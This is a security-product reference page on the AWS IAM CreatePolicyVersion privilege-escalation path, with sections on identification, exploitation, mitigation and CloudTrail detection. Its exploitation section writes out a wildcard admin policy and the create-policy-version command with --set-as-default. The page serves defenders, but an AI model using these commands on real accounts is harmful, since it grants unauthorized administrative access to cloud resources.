AWS_CREATE_POLICY_VERSION

Summary

Forestall ACL Alias	AWS_CREATE_POLICY_VERSION
Edge Type	Attack Path
Affected Object Types	IAM Users, IAM Roles, Customer Managed Policies
Exploitation Certainty	Certain
AWS IAM Action / Condition	iam:CreatePolicyVersion on target customer-managed policy ARN; critical when attacker can set the new version as default

Description

AWS_CREATE_POLICY_VERSION is the ability to create a new version of an existing customer-managed IAM policy.

This is a high-impact escalation path. An attacker can add broad permissions (for example Action: "*", Resource: "*") to a new policy version, set it as default immediately or later through AWS_SET_DEFAULT_POLICY_VERSION, and inherit those permissions through every user, role, and group already attached to the policy.

The attachment graph usually exists before the attack starts. Swapping the policy content via a new version can produce instant, large-scale privilege expansion.

Identification

AWS CLI

Check whether a principal can create policy versions for a target policy:

aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::123456789012:user/AnalystUser \
  --action-names iam:CreatePolicyVersion \
  --resource-arns arn:aws:iam::123456789012:policy/TargetPolicy

Inspect target policy versions:

aws iam get-policy \
  --policy-arn arn:aws:iam::123456789012:policy/TargetPolicy

aws iam list-policy-versions \
  --policy-arn arn:aws:iam::123456789012:policy/TargetPolicy

AWS Console

• Open IAM -> Policies.

• Select a customer-managed policy.

• Open Policy versions.

• Check who can edit IAM policies or create new policy versions through delegated permissions.

Exploitation

Create a malicious policy document:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }
  ]
}

Create a new version and set it as default:

aws iam create-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/TargetPolicy \
  --policy-document file://admin-policy.json \
  --set-as-default

If --set-as-default is blocked but version creation is not, attackers can chain with AWS_SET_DEFAULT_POLICY_VERSION.

Mitigation

• Restrict iam:CreatePolicyVersion to tightly controlled automation identities.

• Scope the permission to explicit policy ARNs, not wildcards.

• Use permission boundaries and SCPs to block broad policy version manipulation.

• Remove unused customer-managed policies and stale delegations.

• Require an approval workflow for policy version changes.

Detection

Monitor policy version creation in CloudTrail:

• Event source: iam.amazonaws.com

• Event name: CreatePolicyVersion

• High-signal indicator: requestParameters.setAsDefault = true

Example lookup:

aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreatePolicyVersion

References

• https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreatePolicyVersion.html

• https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_managed-versioning.html

• https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html